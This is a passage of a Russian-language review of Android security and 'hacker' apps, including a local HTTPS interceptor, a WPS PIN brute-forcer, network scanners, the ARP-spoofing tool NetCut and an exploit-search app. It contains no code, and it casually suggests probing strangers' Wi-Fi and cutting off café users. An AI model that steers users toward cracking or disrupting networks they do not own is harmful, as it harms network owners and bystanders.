  &lt;p&gt;Более простой и «легальный» анализатор TCP/UDP-пакетов с возможностью перехвата HTTPS-сессий посредством MITM. Не требует &lt;strong&gt;прав root&lt;/strong&gt;, поскольку использует встроенную в Android функцию проксирования трафика через &lt;strong&gt;VPN &lt;/strong&gt;и подмену SSL-сертификата.&lt;/p&gt;
  &lt;p&gt;В Android 6.0.1 и более свежих версиях требуется вручную добавить CA-сертификат через настройки приложения.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;http://www.spy-soft.net/wp-content/uploads/Packet-Capture.png&quot; width=&quot;775&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Packet Capture работает локально. Он не выполняет ARP-спуфинг, угон сессий и прочие атаки на внешние хосты. Приложение позиционируется как &lt;a href=&quot;http://www.spy-soft.net/chto-takoe-proksi-zachem-nuzhny-proksi-i-kakie-byvayut-vidy/&quot; target=&quot;_blank&quot;&gt;прокси&lt;/a&gt; для отладки и скачивается из официального маркета. Умеет декодировать пакеты как Text/Hex/Urlencoded, но пока не поддерживает сжатые (gzip) HTTP-запросы.&lt;/p&gt;
  &lt;p&gt;С помощью Packet Capture удобно контролировать сетевую активность установленных приложений. Он показывает не просто объем передаваемого трафика, а что конкретно и куда отправляет каждая программа или встроенный компонент Android, какие пакеты и с каких серверов получает в ответ. Отличная утилита для поиска троянских закладок и назойливой рекламы.&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=app.greyshirts.sslcapture&amp;hl=en&quot; target=&quot;_blank&quot;&gt;Сайт&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;Протестированная версия: 1.4.7&lt;/li&gt;
    &lt;li&gt;Размер: 4,5 Мбайт&lt;/li&gt;
    &lt;li&gt;Версия Android: 2.3 и выше&lt;/li&gt;
    &lt;li&gt;Требуется root: нет&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h3&gt;Вспомогательные хакерские утилиты для Android&lt;/h3&gt;
  &lt;p&gt;Если продвинутые утилиты для пентеста требуют root и BusyBox, то приложения попроще доступны в Play Store и работают на любом смартфоне без ухищрений. ARP-спуфинг и MITM-атаки ими не выполнить, но для сканирования беспроводной сети, обнаружения хостов и явных проблем с безопасностью их вполне хватает.&lt;/p&gt;
  &lt;h3&gt;WPSApp&lt;/h3&gt;
  &lt;p&gt;Эта программа сканирует эфир в поисках точек доступа с включенной функцией WPS. Обнаружив такие, она пытается опробовать на них дефолтные пины. Их немного, и они известны из мануалов производителей роутеров.&lt;/p&gt;
  &lt;p&gt;Если пользователь не сменил дефолтный пин и не отключил WPS, то утилита самое большое за пять минут перебирает все известные значения и получает WPA(2)-PSK, каким бы длинным и сложным он ни был. Пароль от беспроводной сети отображается на экране и автоматически сохраняется в настройках Wi-Fi смартфона.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;http://www.spy-soft.net/wp-content/uploads/WPSApp.png&quot; width=&quot;775&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Отмечу, что некоторые роутеры не позволяют менять пин, заданный по умолчанию. Более того, иногда он остается включенным, даже если в веб-интерфейсе роутера показывается статус WPS: OFF. Узнать реальное состояние WPS поможет утилита Wifi Analyzer.&lt;/p&gt;
  &lt;p&gt;С момента выхода той статьи WPSApp обновилась и стала лучше во всех отношениях. Она знает больше пинов разных вендоров, быстрее перебирает их и научилась брутфорсить в новых режимах. Утилита работает как на рутованных смартфонах, так и без прав root. У нее много аналогов, но все они куда менее эффективные.&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=com.themausoft.wpsapp&quot; target=&quot;_blank&quot;&gt;Сайт&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;Протестированная версия: 1.6.20&lt;/li&gt;
    &lt;li&gt;Размер: 3,0 Мбайт&lt;/li&gt;
    &lt;li&gt;Версия Android: 4.1. Гораздо лучше работает на Android 5.1 и новее&lt;/li&gt;
    &lt;li&gt;Требуется root: желательно, но не обязательно&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h3&gt;WiFiAnalyzer&lt;/h3&gt;
  &lt;p&gt;Опенсорсный и бесплатный сканер Wi-Fi-сетей. Очень удобная утилита для обнаружения точек доступа (включая скрытые), выяснения их параметров (MAC, вендор, канал, тип шифрования), оценки мощности сигнала и расстояния до них. Удаленность от роутера вычисляется по формуле для прямой видимости, поэтому не всегда указывается достаточно точно.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;http://www.spy-soft.net/wp-content/uploads/WiFiAnalyzer.png&quot; width=&quot;775&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;WiFiAnalyzer позволяет наглядно увидеть ситуацию в эфире, отфильтровать цели по уровню сигнала, SSID, используемой частоте (2,4/5 ГГц) и типу шифрования. Также вручную можно определить наименее зашумленный канал по графикам двух типов: обычному и с временным накоплением.&lt;/p&gt;
  &lt;p&gt;Словом, WiFiAnalyzer — это то, с чего стоит начинать разведку в беспроводных сетях. Поиск целей с определенными параметрами сэкономит кучу времени при дальнейшей работе с продвинутыми утилитами.&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=com.vrem.wifianalyzer&amp;rdid=com.vrem.wifianalyzer&quot; target=&quot;_blank&quot;&gt;Сайт&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;Протестированная версия: 1.8.11&lt;/li&gt;
    &lt;li&gt;Размер: 1,6 Мбайт&lt;/li&gt;
    &lt;li&gt;Версия Android: 4.1 и выше&lt;/li&gt;
    &lt;li&gt;Требуется root: нет&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h3&gt;Fing&lt;/h3&gt;
  &lt;p&gt;Часто функциональность хакерских утилит пересекается с возможностями вполне легальных инструментов, которыми пользуются системные администраторы для наладки сетей.&lt;/p&gt;
  &lt;p&gt;Fing — один из таких инструментов. Он быстро сканирует Wi-Fi-сеть, к которой вам удалось подключиться (например, с помощью WPSApp), и определяет все хосты. Это может быть востребовано для проверки собственной беспроводной сети на предмет НСД, но, согласитесь, исследовать незнакомые сети гораздо интереснее.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;http://www.spy-soft.net/wp-content/uploads/Fing-.png&quot; width=&quot;775&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Fing выполняет расширенный анализ имен NetBIOS, UPNP и Bonjour, поэтому точнее определяет типы устройств и показывает больше их свойств. В Fing интегрированы утилиты ping и tracerout. Также он умеет отправлять запросы WOL (Wake on LAN), удаленно пробуждая «спящие» устройства, поддерживающие эту функцию.&lt;/p&gt;
  &lt;p&gt;Fing автоматически определяет открытые порты и сопоставленные им сервисы. При обнаружении SMB, SSH, FTP и прочего Fing предлагает подключиться к ним, вызывая для этого внешние программы из своего меню. Если соответствующая утилита (например, AndSMB) не установлена, то Fing открывает ссылку на ее загрузку.&lt;/p&gt;
  &lt;p&gt;Дополнительные возможности программы открываются после регистрации аккаунта Fing. С ним можно выполнять инвентаризацию устройств и сетей. Еще больше функций открывается после приобретения аппаратного Fingbox. Он умеет отслеживать подключение непрошеных гостей и выборочно блокировать их устройства, а также проверять интернет-подключение на типичные неполадки и автоматически устранять их.&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=com.overlook.android.fing&quot; target=&quot;_blank&quot;&gt;Сайт&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;Протестированная версия: 6.7.1&lt;/li&gt;
    &lt;li&gt;Размер: 10 Мбайт&lt;/li&gt;
    &lt;li&gt;Версия Android: 4.1 и выше&lt;/li&gt;
    &lt;li&gt;Требуется root: нет&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h3&gt;NetCut&lt;/h3&gt;
  &lt;p&gt;Приложение определяет все клиентские устройства в беспроводной сети, а затем использует ARP-спуфинг для их выборочного отключения или обрубает связь для всех, кроме себя. А дальше вы можете скачивать файлы на полной скорости где-нибудь в кафешке, глядя, как мучаются другие посетители.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;http://www.spy-soft.net/wp-content/uploads/NetCut.png&quot; width=&quot;775&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Шутка! Так делать некультурно, а вот быстро кикнуть злоумышленника, не влезая в настройки роутера, — почему бы и да? Можно не просто разово оборвать связь для любого хоста, а постоянно блокировать его попытки подключиться к точке доступа, пока он не сменит MAC-адрес (см. вкладку Jail).&lt;/p&gt;
  &lt;p&gt;Если кто-то попытается сделать такой финт в отношении твоего девайса, NetCut определит отравление ARP-кеша и очистит его (см. NetCut Defender). За доллар в месяц можно получить аккаунт Pro, убрать рекламу и ограничения.&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=com.arcai.netcut&quot; target=&quot;_blank&quot;&gt;Сайт&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;Протестированная версия: 1.4.9&lt;/li&gt;
    &lt;li&gt;Размер: 12 Мбайт&lt;/li&gt;
    &lt;li&gt;Версия Android: 4.0 и выше&lt;/li&gt;
    &lt;li&gt;Требуется root: ДА!&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h3&gt;Справочники и поисковики для пентестера&lt;/h3&gt;
  &lt;p&gt;Напоследок расскажем о паре полезных утилит, которые не имеют прямого отношения к взлому, а выполняют скорее вспомогательную и информационную функцию.&lt;/p&gt;
  &lt;h3&gt;Droidbug Exploiting FREE&lt;/h3&gt;
  &lt;p&gt;Приложение от &lt;strong&gt;Bugtraq Team&lt;/strong&gt;. Предназначено для поиска и скачивания эксплоитов разного типа. Все они сгруппированы по типу ОС в двух основных разделах: с локальным и удаленным исполнением. В отдельную группу выделены аппаратные и веб-эксплоиты, а также используемые в DoS-атаках.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;http://www.spy-soft.net/wp-content/uploads/Droidbug-Exploiting-FREE.png&quot; width=&quot;775&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Найти и скачать нужный эксплоит можно из бесплатной версии программы, а для быстрого просмотра описания потребуется уже платная версия стоимостью 279 рублей.&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=com.bugsecapps.freedroidbugexploiting&quot; target=&quot;_blank&quot;&gt;Сайт&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;Протестированная версия: 2.0.3&lt;/li&gt;
    &lt;li&gt;Размер: 5,6 Мбайт&lt;/li&gt;
    &lt;li&gt;Версия Android: 4.0.3 и выше&lt;/li&gt;
    &lt;li&gt;Требуется root: нет&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h3&gt;Pentest Cheatsheet&lt;/h3&gt;
  &lt;p&gt;Карманный справочник пентестера. Содержит рекомендации по выполнению тестов от OWASP (The Open Web Application Security Project) — экспертов открытого проекта обеспечения безопасности веб-приложений.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;http://www.spy-soft.net/wp-content/uploads/Pentest-Cheatsheet.jpg&quot; width=&quot;775&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Дополнительно включает в себя подборку ссылок на проверенные хакерские утилиты, сгруппированных исходя из поставленной задачи: онлайновые сканеры, анализаторы уязвимостей, тулзы для реверса, фаззеры, краулеры и так далее. Вся информация хорошо систематизирована и выглядит актуальной на момент написания статьи.&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=in.codebucket.pentestcheatsheet&quot; target=&quot;_blank&quot;&gt;Сайт&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;Протестированная версия: 1.02&lt;/li&gt;
    &lt;li&gt;Размер: 2,2 Мбайт&lt;/li&gt;
    &lt;li&gt;Версия Android: 4.1 и выше&lt;/li&gt;
    &lt;li&gt;Требуется рут: нет&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h3&gt;Вместо выводов&lt;/h3&gt;
  &lt;p&gt;Из гор хлама, мусора и откровенного фейка, который в мире Android выдают за «хакерский софт», мы постарались откопать самые интересные, продвинутые и полезные инструменты. Но если вы считаете, что чего-то не хватает, — добро пожаловать в комментарии! Только, пожалуйста, без Kali NetHunter.&lt;/p&gt;

</content></entry></feed>